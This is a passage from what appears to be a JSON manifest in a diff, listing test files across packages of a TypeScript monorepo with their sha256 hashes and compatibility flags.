"packages/module-jobs/tests/enrichment.test.ts":{"sha256":"96b488ceae93ab595cb6c050a9664551e525ff168f53678b7f4264d3285aae04","compatible":true}, + "packages/module-jobs/tests/fixture-records.test.ts":{"sha256":"b68fbd77a0c7277f2efb762107c2f01b35b6e7ae0dd6d46602127539cad17603","compatible":true}, + "packages/module-jobs/tests/jobs-dedup.test.ts":{"sha256":"ec2a5b6bead5159fe2f0c0c7aaf59394c679b6a87cdd7c5aee6e89cb3524dde7","compatible":true}, + "packages/module-jobs/tests/jobs-fts.test.ts":{"sha256":"e8698545b32ecb556d416090042b8993958afb720e91539b0c6f03ba4738bd16","compatible":true}, + "packages/module-jobs/tests/jobs-ingest-refresh.test.ts":{"sha256":"6a3786683451bec805630555b230094afde41065636d51d5a6ddbadae43476ee","compatible":true}, + "packages/module-jobs/tests/jobs-review-mcp.test.ts":{"sha256":"ca877bcc4c93d1e718587b802722384ba6ad841dee9064971d084e08649bb6b9","compatible":true}, + "packages/module-jobs/tests/jobs-salary.test.ts":{"sha256":"8e2cb4e7852047037773c9b39f4c147e9cd67dea12ad4210f6faa4443e76a04c","compatible":true}, + "packages/module-jobs/tests/jobs-score.test.ts":{"sha256":"0a2180762835396c0acd5615e51044f107e40d1fa2b6fc8533270d11374822df","compatible":true}, + "packages/module-jobs/tests/jobs-search-cli.test.ts":{"sha256":"c0602552120223d56bfedfb6e1d79d8d1cff1704f65d2f87660b27235efed351","compatible":true}, + "packages/module-jobs/tests/jsonld-mapper.test.ts":{"sha256":"981b852e240618225d7f98fc11b73736929379e217847821d77e65b8f64a18ec","compatible":true}, + "packages/module-jobs/tests/module.test.ts":{"sha256":"de40bc23cddad7200c4f97b81eabb218edb0684b7f20aa310cc4f9e478c92e08","compatible":true}, + "packages/module-jobs/tests/parse-reporting.test.ts":{"sha256":"dab074aedc2d0049232489c83eb93de71df3cb04921e279996b4fdd58aae5f2f","compatible":true}, + "packages/module-jobs/tests/pipeline.test.ts":{"sha256":"be7ee49b3c888e2573e402bc946a252f5a61bc09130a0e609c41ab8b93c02765","compatible":true}, + "packages/module-jobs/tests/scheduled-scrape.test.ts":{"sha256":"aec14fd5ebc8bca8d66ab0912bc66011e0fd8102e43c21cdc16f599d5f113e07","compatible":true}, + "packages/module-jobs/tests/scrape-report-integration.test.ts":{"sha256":"1a6c6b7063fdbfde7d59b4c553cba3e94372467c710ed2995bdf3f2f2a782241","compatible":true}, + "packages/module-jobs/tests/settings.test.ts":{"sha256":"214b144dc80cb860f2d6d1958566550629a31a2041225858ab6824e6cac2398b","compatible":true}, + "packages/module-jobs/tests/shared-adapter.test.ts":{"sha256":"53fb0e7865e253dc0b04449cc2a673e77249f69ddb7bf01bab41271cbc94d212","compatible":true}, + "packages/module-jobs/tests/skill-paths.test.ts":{"sha256":"1d2a675a0391d932a4f4cc824f2628cf1eedebc0a59988a759a785bbcad46e45","compatible":true}, + "packages/module-jobs/tests/source-selection.test.ts":{"sha256":"02b74583b450c546b5852b0b9b6ad31244eaca02db34f6389ee0050887b92e44","compatible":true}, + "packages/module-jobs/tests/worker-scoring.test.ts":{"sha256":"b7f1c5636e7724d5ce714c799257057e4ea5dbf28a90adaeaf053632ac473971","compatible":true}, + "packages/module-speaking/tests/module.test.ts":{"sha256":"df4e4f88ec134679c7da772c2acd1eb68e96d528238deef6a729db666b35b537","compatible":true}, + "packages/module-travel/tests/content.test.ts":{"sha256":"2227455451c2c252da69b81d88cade1f96206126350e03e9f178d3292d0776a1","compatible":true}, + "packages/module-travel/tests/data-only-frontmatter.test.ts":{"sha256":"9ff61bf41f31f3368a26edbd840545951de623bebd3e56b332fd3a29116e6300","compatible":true}, + "packages/module-travel/tests/foundation.test.ts":{"sha256":"1db59a9daffd1c31e9f60e4647cd8670823a1673f56b4be8f606a9e5db0cbf18","compatible":true}, + "packages/module-travel/tests/output-naming.test.ts":{"sha256":"9b0fc527556eea2fc4df325b67fe487e6c7c576ece4930d76051d3e2644474e7","compatible":true}, + "packages/module-travel/tests/photo.test.ts":{"sha256":"7b8289c61ecc14a5d7b50d2a9efbb41768727fda4d61dcf8aa8dcd39e1c35851","compatible":true}, + "packages/module-travel/tests/routes-runtime.test.ts":{"sha256":"16ceacc49f7ca8a84288405d760377ffe32a38cffa981a7dbf508c1f8fbc686f","compatible":true}, + "packages/module-travel/tests/routes.test.ts":{"sha256":"1b97313fbf5713b82a2cfecdc724f930cad2e05b4d7ed541650f009ad63ac89b","compatible":true}, + "packages/module-travel/tests/runtime.test.ts":{"sha256":"345a996107beafc41070d6f095199032201df7b666ef50b026689b0b9c263c13","compatible":true}, + "packages/module-travel/tests/sync.test.ts":{"sha256":"eb251eaddbdf229d86b8a91aa6f688edf338fb42af0229dbd410f084334a526b","compatible":true}, + "packages/module-video/tests/cli.test.ts":{"sha256":"8b1d4e18957f96de665c900509b13a2537477d7a09f7a2a350e6dc484339574a","compatible":true}, + "packages/module-video/tests/module.test.ts":{"sha256":"3e32d15ec4cc0afd0c2a8f6d0bfc190aa343534a6ceb932fb6cbb40801cbdccd","compatible":true}, + "packages/render-template/tests/components.test.ts":{"sha256":"314ee756191451928a5f615696bc0176bb8b920dcccec2348183dc816348afb2","compatible":true}, + "packages/render-template/tests/kinds.test.ts":{"sha256":"b41ef6ac8826cc60b322b25ce7107e23abc7806c6acdfaf89d696b6040f44023","compatible":true}, + "packages/render-template/tests/link-policy.test.ts":{"sha256":"f344d340396005d5345a08e79c3443c3a443514b1f2f4da9fdfdf6d1a3ec5623","compatible":true}, + "packages/render-template/tests/lint.test.ts":{"sha256":"80a1bf1c317ec501766917c6334fbcad4b2940cb354def3ff42b9a11a473dbff","compatible":true}, + "packages/render-template/tests/static.test.ts":{"sha256":"6b7f5d10fbf7e9199f925ac7b3a7c5fea92299127e390485f114890533348ca8","compatible":true}, + "packages/render-template/tests/template.test.ts":{"sha256":"2340be0f713002e840d28842696d34ad8edc4a5bfe1cad09fd29e6b4938aeceb","compatible":true}, + "packages/scrape/tests/adapter.test.ts":{"sha256":"0ecf31c2d791c32700f0906c4fd9639676b6c6e0723870d1a620dc850833e63d","compatible":true}, + "packages/scrape/tests/address-policy.test.ts":{"sha256":"d5db33e445dbf1517c7b48df746b40caa958f01ad96cf6f20c85d03b0204efc7","compatible":true}, + "packages/scrape/tests/browser-politeness.test.ts":{"sha256":"4fa40e1de3599c3aaa072e0dc631e63e33aff82be9a5053f614ef8211889195f","compatible":true}, + "packages/scrape/tests/browser-session.test.ts":{"sha256":"de679473710a76ff0910e7ff3cb3aabe9fefe2b0010bcf9e4e88a02879929f3a","compatible":true}, + "packages/scrape/tests/client.test.ts":{"sha256":"9e4956e95704b9536755fa2f409fbfd4051c9320de46c992c7a95f3d9d9213d4","compatible":true}, + "packages/scrape/tests/env.test.ts":{"sha256":"381d5cd67add0c87126faa1a529a78fac8dad51782127ecadb58ebf216177bf3","compatible":true}, + "packages/scrape/tests/jsonld.test.ts":{"sha256":"17f5a943894fcbf042628703eb13de20b1fab16a8cd7ccc65cd7bba9e5f17f41","compatible":true}, + "packages/scrape/tests/politeness.test.ts":{"sha256":"f893a3a5e98455b3f911ed1616f23d2a36183bb70ce70fda8fe64029dc0840ff","compatible":true}, + "packages/ui-backend-claude/tests/activity-tool.test.ts":{"sha256":"c6accfbedd64bd2537f40671bb59e24082ef6b0dcd621f2cbe2ed20f0fef84ac","compatible":true}, + "packages/ui-backend-claude/tests/allowlist-enforcement.test.ts":{"sha256":"48404558273c414a68b82b2b2b184d9e63a84b54293db74840dc5e7c4a76ccbf","compatible":true}, + "packages/ui-backend-claude/tests/api-failure.test.ts":{"sha256":"a9caab8ce67545f6da3e227ff364d43c2bb70af28375dd1c41b52cc1c0dee67c","compatible":true}, + "packages/ui-backend-claude/tests/ask-tool-request-id.test.ts":{"sha256":"dc25158c096600ce2e883d856cf1db074208118e9664c7be23f9e1501b970cc5","compatible":true}, + "packages/ui-backend-claude/tests/autonomous-envelope.test.ts":{"sha256":"29472f31ef40c4e0aeea47b92cea4ddb34894e9a448a0bc338b792485059d5f1","compatible":true}, + "packages/ui-backend-claude/tests/autonomous-prompt.test.ts":{"sha256":"fd8e5964a00290f8ef7a9291225403e5e905e0b32b643720c63c979203a82258","compatible":true}, + "packages/ui-backend-claude/tests/autonomous-yield.test.ts":{"sha256":"684e1e2d5d9e90f8598babd73f3aad9e80c1ef7c64248263cf4919b1dfd9ae21","compatible":true}, + "packages/ui-backend-claude/tests/backend-contract.test.ts":{"sha256":"bb05aadb2acfa24ac171203e39f9d6b7ed0eb2ed422ee4cbdc33f74ada58266d","compatible":true}, + "packages/ui-backend-claude/tests/backend.test.ts":{"sha256":"24f95fd17689fa627559ce909e2723a6bac5deb77ffc6f36be4e883e1b890ee1","compatible":true}, + "packages/ui-backend-claude/tests/background-shell-runtime.test.ts":{"sha256":"8ea77cea94339a2aa6894929d9a54cebe4cbc238f3023fea29256f863e138e9e","compatible":true}, + "packages/ui-backend-claude/tests/cache-fingerprint.test.ts":{"sha256":"2381e29bc54e26110a24e7a2b5b7e309849f128ed3cc00503e7ae51af112fa63","compatible":true}, + "packages/ui-backend-claude/tests/characterization-history.test.ts":{"sha256":"a620b341ff167b1b2a426da394c3385b2c12f7959bc2a455d44f17503f65de8d","compatible":true}, + "packages/ui-backend-claude/tests/characterization-permissions.test.ts":{"sha256":"af947dd465723e6117a7e51c8681e9f900f0d85f51f855d80551e8ccfe015226","compatible":true}, + "packages/ui-backend-claude/tests/characterization-stream-usage.test.ts":{"sha256":"3c83bd5d9828194e36d5343b209086ee4b48ec9282820d0e64c0a736e264d174","compatible":true}, + "packages/ui-backend-claude/tests/claude-code-path.test.ts":{"sha256":"c8349c95a14186815d2d6765e7c3ddac3ac4f64a67bf9b370f2f0d676ac43258","compatible":true}, + "packages/ui-backend-claude/tests/cleanup-reconciler.test.ts":{"sha256":"e8b56201057bb8d03f04350eea69d9e7e060d80067d0d432713c6e69b60b65d2","compatible":true}, + "packages/ui-backend-claude/tests/completed-response-usage.test.ts":{"sha256":"c7e397e7bae9bd9dfb11697bf6a5fc74bf92a9d212dad0b38480a20fed5922bf","compatible":true}, + "packages/ui-backend-claude/tests/compute-tools.test.ts":{"sha256":"15a3c9411951e6f0a824cb1fbbfe50c4a0a141835189b0e27e33be71696bcebd","compatible":true}, + "packages/ui-backend-claude/tests/confirm-archive.test.ts":{"sha256":"22471d1acaeb436f058dde3cddf82504c200588e421186da5cd1bdc059a8be02","compatible":true}, + "packages/ui-backend-claude/tests/confirm-bash.test.ts":{"sha256":"2bad308cd54760d499d981533a5a089ad2948accea7c0c9642b2e57267f470ab","compatible":true}, + "packages/ui-backend-claude/tests/deferred-worker-spawn.test.ts":{"sha256":"2244158dac5b891846a5ef16fca981bcbd985698ee61e10a72c96492d25b71f9","compatible":true}, + "packages/ui-backend-claude/tests/edited-approval.test.ts":{"sha256":"1b2a5bfa3359df32b61b7d9a8a5e13090efea3ee784094a6377c9392433abc09","compatible":true}, + "packages/ui-backend-claude/tests/effort.test.ts":{"sha256":"5162a40a3ed8e43735e97f9903c1e4a5be10e6b94a36dcfe1779b2f616e849fe","compatible":true}, + "packages/ui-backend-claude/tests/env.test.ts":{"sha256":"d5cde898dad3d44f9bb0853d178c0fbff07611caada49934acbec68a12d83e05","compatible":true}, + "packages/ui-backend-claude/tests/failed-launch-cleanup.test.ts":{"sha256":"607ddbb62ce12ce6cd225db607b53577847d4f724e49a8eed1f129574fb6ca2b","compatible":false}, + "packages/ui-backend-claude/tests/fixtures/host-storage-isolation.test.ts":{"sha256":"04948031c770c06c30c2739f4d5fe7e260c7f58eedb29db6ab19d7122a88098a","compatible":true}, + "packages/ui-backend-claude/tests/follow-up-delivery.test.ts":{"sha256":"b5575c9a53c3dd25fed4cca225b3a08c725a8a8923bcc677fd3c1afcbd3a3889","compatible":true}, + "packages/ui-backend-claude/tests/follow-up.test.ts":{"sha256":"2b6393e55178be8c0c05f29b099439b2a97c191f101cfd39414628598f98caf3","compatible":true}, + "packages/ui-backend-claude/tests/github-write-availability.test.ts":{"sha256":"64d1cbf96df3efec8bdc15909dcf76bbe8d2e0ebc00541e1058797c58f01cacd","compatible":true}, + "packages/ui-backend-claude/tests/history-api-failure.test.ts":{"sha256":"36aa02054f35ac113e2238c7e60570386b8c394afe02b554830a73467b9c3616","compatible":true}, + "packages/ui-backend-claude/tests/history-task-notifications.test.ts":{"sha256":"65d3f4d2a1c979afd9d47598a2f7a9eceaf5b925be623ead6aba6080e52e5ad9","compatible":true}, + "packages/ui-backend-claude/tests/history.test.ts":{"sha256":"bb996515bd7d9d609287ce7cef9215bfa7a8b211664823d80746fee8f96d5875","compatible":true}, + "packages/ui-backend-claude/tests/host-exec.test.ts":{"sha256":"ec93862d3f5cf7888191e9ced9b87376a6eb7544e89836876de9c9282c356369","compatible":true}, + "packages/ui-backend-claude/tests/host-oauth.test.ts":{"sha256":"0524ae96cb3944260ad6c10fc0d4d8718d823e781e75f46e127d1be4460817ed","compatible":true}, + "packages/ui-backend-claude/tests/host-relay-native.test.ts":{"sha256":"579e3d6a9f355fdeb6627f23a5530052bdd3610b7084c9b9cec5a5bc35692d3e","compatible":true}, + "packages/ui-backend-claude/tests/host-storage-isolation.test.ts":{"sha256":"af97a37aedcf2281955a1143c7641d2056512c75c884053c333991fa510279c2","compatible":true}, + "packages/ui-backend-claude/tests/interactive-git-prompt.test.ts":{"sha256":"4e4a24135d2818bbb02896274bc2e74670e873568528a2a51db8173e16310951","compatible":true}, + "packages/ui-backend-claude/tests/interactive-git-settings.test.ts":{"sha256":"d8cddfe1a8a04b1aa975f0b95f3a0392c96d56e381ddec24b8c3b332ee408484","compatible":true}, + "packages/ui-backend-claude/tests/loaded-sdk.test.ts":{"sha256":"2726bca6e31cf0891bab57c32a7912c22bc2522e275485333b983b129b6349a5","compatible":true}, + "packages/ui-backend-claude/tests/maintenance-module-plumbing.test.ts":{"sha256":"179a4eb3063017c72d91849ed87de3914dac76702bd2aedbfd14d1124d58aa22","compatible":true}, + "packages/ui-backend-claude/tests/markup-tool.test.ts":{"sha256":"d7b8934f7fe081677c0928758520138c24116a854eee8727331b2ce15f010e84","compatible":true}, + "packages/ui-backend-claude/tests/measured-runtime.test.ts":{"sha256":"eb8f45448391a7ec13dbfcbb0a4b4818ae47c32c84e138a5027d628ecd36bf57","compatible":true}, + "packages/ui-backend-claude/tests/model-discovery.test.ts":{"sha256":"28db89ac8a6a6bc2501682fc1ce0bdf1b96852be2ff133ee19b610fbd964315f","compatible":true}, + "packages/ui-backend-claude/tests/module-tool-lock.test.ts":{"sha256":"933da9bf90603f611955258cfd5cc9ea3819f85f31a56ca0b4766e32484fba8f","compatible":true}, + "packages/ui-backend-claude/tests/module.test.ts":{"sha256":"835a908d449fa54d99640de5ca41be86002695d03665f023434090b4516889cd","compatible":true}, + "packages/ui-backend-claude/tests/native-history-removal.test.ts":{"sha256":"233d048c09533c60379f6d509bd3f042500a3ba9e7d3add2821d375473546c51","compatible":true}, + "packages/ui-backend-claude/tests/native-hosted-permission.test.ts":{"sha256":"c264719c0bac674a18448eeddf952e4cee7a6cca81e5965ff2dc8b186e1fd2ed","compatible":true}, + "packages/ui-backend-claude/tests/native-hosted-runtime.test.ts":{"sha256":"6d75cf05d482cedabe53f3e46b5667e0765763db19eed604534806f20aa57140","compatible":true}, + "packages/ui-backend-claude/tests/native-observation-retention.test.ts":{"sha256":"241cb482b25c97b8c8e03fdfeab93406438ae80ed881021ad4a859e270a22aa6","compatible":true}, + "packages/ui-backend-claude/tests/native-observation-settlement.test.ts":{"sha256":"c9d7cd7ef01c7ab31cda9a2bde288b115a66643d202c25027fc58a098bb9f8f3","compatible":true}, + "packages/ui-backend-claude/tests/native-restart-versions.test.ts":{"sha256":"4451bdd140720157314c05f5ed856cbac8a3f48227a52225ab3c05d643b582e4","compatible":true}, + "packages/ui-backend-claude/tests/native-route-qualification.test.ts":{"sha256":"7f29ec265da6efdc26265c4a37005f3b27c5878181c9aca1ba84f1c4aac94660","compatible":true}, + "packages/ui-backend-claude/tests/native-stale-write.test.ts":{"sha256":"eca0e5722d624cb899d42602441efac2283648276741c13fc5b06a242149ce5d","compatible":true}, + "packages/ui-backend-claude/tests/no-grant-surface.test.ts":{"sha256":"9321934ab568c978e32337e32cb331c30110b6e58e5afcabb73cf7444ed704fb","compatible":true}, + "packages/ui-backend-claude/tests/ordinary-host-relay.test.ts":{"sha256":"02e4b794a44c9b031965989f2c8c0c5cc39d24420b302c6cd3c33c3b9e691781","compatible":true}, + "packages/ui-backend-claude/tests/output-staging-refusal.test.ts":{"sha256":"ed4e4226dab8e92fd113b0eda20e60cfc24a14fe10300cebca264cfd2c56a1b3","compatible":true}, + "packages/ui-backend-claude/tests/outward-actions.test.ts":{"sha256":"31ee4ad8b56ee57f55af8d0139f6123355287f68c0106390c69df576e077ebd4","compatible":true}, + "packages/ui-backend-claude/tests/permission-wiring-units.test.ts":{"sha256":"03a4d8041a8f176d264602f9dcb6e9d7c187a746a77105d89e47c0e2a2095f79","compatible":true}, + "packages/ui-backend-claude/tests/policy-commands.test.ts":{"sha256":"69d78ad11e6405b8ddc42e7866ecaa6303ada14422a9dad949c365512dc0e954","compatible":true}, + "packages/ui-backend-claude/tests/profiles.test.ts":{"sha256":"c911b1f2260623f182e5838cef092c02fcc57cc6023493bbf13055f6423bd43a","compatible":true}, + "packages/ui-backend-claude/tests/provider-denied-memory.test.ts":{"sha256":"579543bab4064a106f43644fb14fadad707839fc33c2b768dab4788202d706a3","compatible":true}, + "packages/ui-backend-claude/tests/provider-history-apify.test.ts":{"sha256":"05523e725f802c0691386439ee2d50d7d009d0a7fdf06ad382997de34090de72","compatible":true}, + "packages/ui-backend-claude/tests/provider-history.test.ts":{"sha256":"89aaf8e5af05de06be812ee4ac4c3afad8627dc966d5e337f6f7581754490f59","compatible":true}, + "packages/ui-backend-claude/tests/provider-request-shape.test.ts":{"sha256":"3684525b83a1aa6f61adc489de927f7fdabb07d67b699b69b30962d9ebbc9297","compatible":true}, + "packages/ui-backend-claude/tests/provider-tool-prefix.test.ts":{"sha256":"0392fe31e15089b2305d2de668d8d3b48d08d5e4c149fea47a538cead7a7191b","compatible":true}, + "packages/ui-backend-claude/tests/read-attachment.test.ts":{"sha256":"7686572049e51aa3efd345ee4b0491a4c46b7eac5c72fbd810e43211aa87bfa9","compatible":true}, + "packages/ui-backend-claude/tests/relayed-runtime-traffic.test.ts":{"sha256":"933f71f46ba2e523dac6ad38f1933a018d0408027b9fb259ade282d5551d07bc","compatible":true}, + "packages/ui-backend-claude/tests/replayed-user-text.test.ts":{"sha256":"ededa43743917583c2331f4bbb9b50776c2c86dd997404d7bc841deebe11d82f","compatible":true}, + "packages/ui-backend-claude/tests/retained-policy.test.ts":{"sha256":"ba1d415713a8dec7f5684d4c5c8fd08507a7746d10bb5b228c7e333b112998a1","compatible":true}, + "packages/ui-backend-claude/tests/rtk-warning.test.ts":{"sha256":"9248da7958b4abfd6d4c93afa2835ee7f367c84b4b9f179aac7ccba7d8576f8d","compatible":true}, + "packages/ui-backend-claude/tests/runtime-probe.test.ts":{"sha256":"d04d88c47411bae0d98d5f3a58e663758afdc3cf7d1b2aefe0710f6a6bb2f49d","compatible":true}, + "packages/ui-backend-claude/tests/runtime-report.test.ts":{"sha256":"e61fdf6d4b96f314d37016c3ae6d200791ac08f6a8e7132373757cb3fb304c4c","compatible":true}, + "packages/ui-backend-claude/tests/sdk-host-relay.test.ts":{"sha256":"bc3aa1c2a6358477e024b7599c489e046034e14b65126453a9dc385cf7b76bb6","compatible":true}, + "packages/ui-backend-claude/tests/sdk-options-mcp.test.ts":{"sha256":"f2c25900a8adc1dd18e4742b02dc998c10432ce07f024a4c7ca1f3b3345e6285","compatible":true}, + "packages/ui-backend-claude/tests/sdk-options-snapshot.test.ts":{"sha256":"1fc69ca2256fcc883660f148d53de0fd9cda990ccc7011f72f446e1b8a2c2f63","compatible":true}, + "packages/ui-backend-claude/tests/sdk-options-units.test.ts":{"sha256":"52e610f302231f4aa834631b762758b60657e9eff500cb5a1dda1d1514b8410a","compatible":true}, + "packages/ui-backend-claude/tests/session-prompt.test.ts":{"sha256":"852ca03ad2d925d11ad74a263a4a4904c47c9b2fd02d10a6ffab690ed0abbfea","compatible":true}, + "packages/ui-backend-claude/tests/session-request-shape.test.ts":{"sha256":"bf2e3175dac3fe98e2dad93b403ea04035483cc077c1825482b5c5d49b066c39","compatible":true}, + "packages/ui-backend-claude/tests/shell-startup.test.ts":{"sha256":"e07b836ea1c52388e4d988e5d37dfe54dd218f676f21908793a82975189599e5","compatible":true}, + "packages/ui-backend-claude/tests/stable-roster-runtime.test.ts":{"sha256":"da267e9337a2d2cc1ecf8aab49cfb90bf0abc40da13387d1899d73a9b8c073e6","compatible":true}, + "packages/ui-backend-claude/tests/stable-roster.test.ts":{"sha256":"fcfbbb78d8403d116c26c4a9511656db993847fe7686d955f4c191ddd5b67e47","compatible":true}, + "packages/ui-backend-claude/tests/startup-observer.test.ts":{"sha256":"69aa86067f866a862f9c020086a34a166a25f40c406f21679afca5750b00a508","compatible":true}, + "packages/ui-backend-claude/tests/state-room-sdk-hook.test.ts":{"sha256":"e10dd62bdc1021c96ed969a2601b61c09dda113113f64d9f833968fea643840e","compatible":true}, + "packages/ui-backend-claude/tests/state-room-warning.test.ts":{"sha256":"3c0b5be568248a28b1e99f1882deb4bc71bd777c4f34b102df6b07465826214b","compatible":true}, + "packages/ui-backend-claude/tests/stream-adapter.test.ts":{"sha256":"c48ce5d4f99a79e00aa0d174f0b461a53dd6e4e8bb4ccf47e612bcf430944e99","compatible":true}, + "packages/ui-backend-claude/tests/subscription-billing.test.ts":{"sha256":"2c8a2ba47bef8b7ff97b97be45fb85987890bdc5d8c44a1c0b20977147f0ec91","compatible":true}, + "packages/ui-backend-claude/tests/subscription-gate.test.ts":{"sha256":"1b159597ebe2fdf240af5feb10d6d7f37027d6b731027417fe34f3ada492b0a5","compatible":true}, + "packages/ui-backend-claude/tests/subscription.test.ts":{"sha256":"11c2a096e82554f1609a3448e91643e27cbccbb951ac988b3efe06dd8b86d8f0","compatible":true}, + "packages/ui-backend-claude/tests/taint-note.test.ts":{"sha256":"0acc03261d545a04589a8b1682c3d10f68522fd672a7a7e3d56f864494f2b95b","compatible":true}, + "packages/ui-backend-claude/tests/terminal-cancellation.test.ts":{"sha256":"cbe95d4d8101db05235677b45628d7d145e4f009204fb3e4ff8ea7f462da3a0e","compatible":true}, + "packages/ui-backend-claude/tests/title-usage.test.ts":{"sha256":"99b19779c9f3f1fab4e4f2cbb91bc68a37bad0924dda7cbd5449b7103b0716bf","compatible":true}, + "packages/ui-backend-claude/tests/tool-execution-evidence.test.ts":{"sha256":"210f0d1fd653f06d09edeb861b5652d3900839d1af36601c7806a609280948f8","compatible":true}, + "packages/ui-backend-claude/tests/transcript-archive-event-loop.test.ts":{"sha256":"9f45d991945b3ec2395c2c160e6bc1f93aa1924996b65f8b51adc47a34158f0f","compatible":true}, + "packages/ui-backend-claude/tests/transcript-archive-lifecycle.test.ts":{"sha256":"dc30deb8366cdc826787d671bea7921965739dfdf440a680585d19d88cf23f58","compatible":true}, + "packages/ui-backend-claude/tests/transcript-archive.test.ts":{"sha256":"c6e0395503da8c2b4549c4796c2e4283007f7c2add22204ee8bdd9e3047aadeb","compatible":true}, + "packages/ui-backend-claude/tests/transcript-prefix.test.ts":{"sha256":"e3afb57e929e106ce4ba882f02cb55ef55865163bdddca198ce416f87ecd6a5a","compatible":true}, + "packages/ui-backend-claude/tests/turn-claim.test.ts":{"sha256":"abcc5ba87da814edde016508c67094d7ee0a9ec1649c6a95ee423f3dac3ad382","compatible":true}, + "packages/ui-backend-claude/tests/turn-units.test.ts":{"sha256":"4c0f10cff447dacc92383718540ef7222d7388c191e6b1818efad7b7b721a910","compatible":true}, + "packages/ui-backend-claude/tests/version-requirements.test.ts":{"sha256":"14c442970a848ad069785e6c7d4d6c3ac09552d2660f3280cabe6ff470c4431e","compatible":true}, + "packages/ui-backend-claude/tests/voice-posture-selection.test.ts":{"sha256":"289bd02676d66ba75f9070c8505f154512bae24c2224d17a5405ebd8945e7e3a","compatible":true}, + "packages/ui-backend-claude/tests/voice-posture.test.ts":{"sha256":"897b0abe97cb6e6d9db520332bc9e13ab577287c0524d99ffbcebfd22ac9e5b1","compatible":true}, + "packages/ui-backend-claude/tests/worker-cleanup.test.ts":{"sha256":"5515b34fee6aaa5a2ddebd2bda214ee47cc75d77eb92112f18c474142267144a","compatible":false}, + "packages/ui-backend-claude/tests/worker-event-loop.test.ts":{"sha256":"c2077414c0af0ea55531d98868e7178ac82f075117b03b2dcef8cbdac2c1b23d","compatible":true}, + "packages/ui-backend-claude/tests/worker-exhaustion.test.ts":{"sha256":"0c714ee3a539b96d214ef2c55009401d47270e01f568e4919b00d33b5273b9b3","compatible":true}, + "packages/ui-backend-claude/tests/worker-failure.test.ts":{"sha256":"39f85c0403b68cfa0de9eb80ccf5bbb75d51118748156d60e2a47ac1c3cb5d2d","compatible":true}, + "packages/ui-backend-claude/tests/worker-rtk.test.ts":{"sha256":"892ab9d35a623aa26e0903839e4f16bee681375bfd4580be2beaa80034e90a2b","compatible":true}, + "packages/ui-backend-claude/tests/worker-save-refused.test.ts":{"sha256":"bff281d996601b412199425b3dba7adb577efac238b65e9895d529f5ae12cce9","compatible":true}, + "packages/ui-backend-claude/tests/worker-state-budget.test.ts":{"sha256":"535bcadb2f49cdd9dfa9274a4cddb40f6c239ff2605b62504425fdf962e5187f","compatible":true}, + "packages/ui-backend-claude/tests/worker-state.test.ts":{"sha256":"1dfcf88c1e70aeaf6f730a24c2bcecc62c71ed056cd37d52f25175d224479492","compatible":true}, + "packages/ui-backend-claude/tests/worker-stdio-release.test.ts":{"sha256":"752bdd8e9e51e65aae404be91c17c4faef2c79c7ffdc5400ef9534e093bec190","compatible":true}, + "packages/ui-backend-claude/tests/worker.test.ts":{"sha256":"acc6e494f00855a8b76d8e5a4545b6c2437e596dd0da3a7a3b4205dbfabe2710","compatible":true}, + "packages/ui-backend-pi/tests/api-failure.test.ts":{"sha256":"5b45df349c35766b7b92fd8f089bea76f7b170a8b27889da1adfe464bfea4897","compatible":true}, + "packages/ui-backend-pi/tests/ask-user-brief.test.ts":{"sha256":"96d95e2759430d9f32f54222e564dbd6b94f113ffab507f339bab65ccaef558b","compatible":true}, + "packages/ui-backend-pi/tests/auth.test.ts":{"sha256":"2ed4eafc4e81623d269375ce4c966afe8bdb69ba6f591cdc05900c485fcb6ab5","compatible":true}, + "packages/ui-backend-pi/tests/autonomous-envelope.test.ts":{"sha256":"8ad18bbc0d47a0384d9663fa3b5083f04fa35dacd108f517a4b0c8e54d52cf1d","compatible":true}, + "packages/ui-backend-pi/tests/autonomous-provider-masks.test.ts":{"sha256":"5a044c4fe73f2c20039f6df5beb5506e35390e5cdd72044928253a0bbaf47d6c","compatible":true}, + "packages/ui-backend-pi/tests/autonomous-yield.test.ts":{"sha256":"1ba219953b61ef6a429437e593a84d73a8b16eb5a12e6a17085ed7cc7761c7ab","compatible":true}, + "packages/ui-backend-pi/tests/backend-contract.test.ts":{"sha256":"906a6ae6770ed510cc3d1813a011562d1b987e3f870598086e8a913c9c8c7a0d","compatible":true}, + "packages/ui-backend-pi/tests/backend.test.ts":{"sha256":"f6f41305b55b66efb0c22bcd1ea1465913796cf8b693acae33b1bc78cf3b0d12","compatible":true}, + "packages/ui-backend-pi/tests/brain-access-half-lives.test.ts":{"sha256":"390cf4686dee7265b9036a4cc18982c66fbdeb46a401512f8e931ee688f8aedf","compatible":true}, + "packages/ui-backend-pi/tests/brain-context-scope.test.ts":{"sha256":"7e72fcee726da6ce3eb73a241ac249e49e1d4e2faf9a119b27212a393db2babd","compatible":true}, + "packages/ui-backend-pi/tests/brain-context.test.ts":{"sha256":"cb518ec1c4475a5adfd9d3492fb2afe510d356b118c21063c3546f7f5226aafe","compatible":true}, + "packages/ui-backend-pi/tests/brain-graph.test.ts":{"sha256":"9af8e71dcccc94a68a886e583f73f42b55e36923a66059f6ac737baf375c3e3b","compatible":true}, + "packages/ui-backend-pi/tests/brain-read-many.test.ts":{"sha256":"40885787a6d4d311019b0fb4202a0d26a35c0dcd4c7c06495affeeb8892c019e","compatible":true}, + "packages/ui-backend-pi/tests/brain-read.test.ts":{"sha256":"8211b064679a8153676a7b55a4f8ebffc92a6221a4a6a946f60c58a4e2542587","compatible":true}, + "packages/ui-backend-pi/tests/brain-search-dates.test.ts":{"sha256":"7190adac3c8df37fe48844441509a9869bf334bbd56e3da764d1c45c108093e4","compatible":true}, + "packages/ui-backend-pi/tests/brain-search.test.ts":{"sha256":"e578ef84be851ad653bed40785e8b4c2fcae5b392e5ebb8750fad56373eda372","compatible":true}, + "packages/ui-backend-pi/tests/brain-update-bytes.test.ts":{"sha256":"11e13b2aba2f03f523b27b9ffd00fcd924cccfabc8f0e581c2be22fef510c9d9","compatible":true}, + "packages/ui-backend-pi/tests/catalog-models.test.ts":{"sha256":"87039ed5a7fedd171681c7dd556746ab6d7caf6819b1c2bb4a2497b429d40f91","compatible":true}, + "packages/ui-backend-pi/tests/characterization-history.test.ts":{"sha256":"fdd9ba13224425a1d7fa42556dc1a64fe6a20e33ff4b47dbfb90e4516e8134a0","compatible":true}, + "packages/ui-backend-pi/tests/characterization-stream-usage.test.ts":{"sha256":"e4576489bcf8aaf90bb229902fcfd544ff3deb69b3458372b2a4298b14a4ccee","compatible":true}, + "packages/ui-backend-pi/tests/completed-response-usage.test.ts":{"sha256":"1537c602124baf553351488d10c81e24cbac6096c0faed5bb84bbfe688030f98","compatible":true}, + 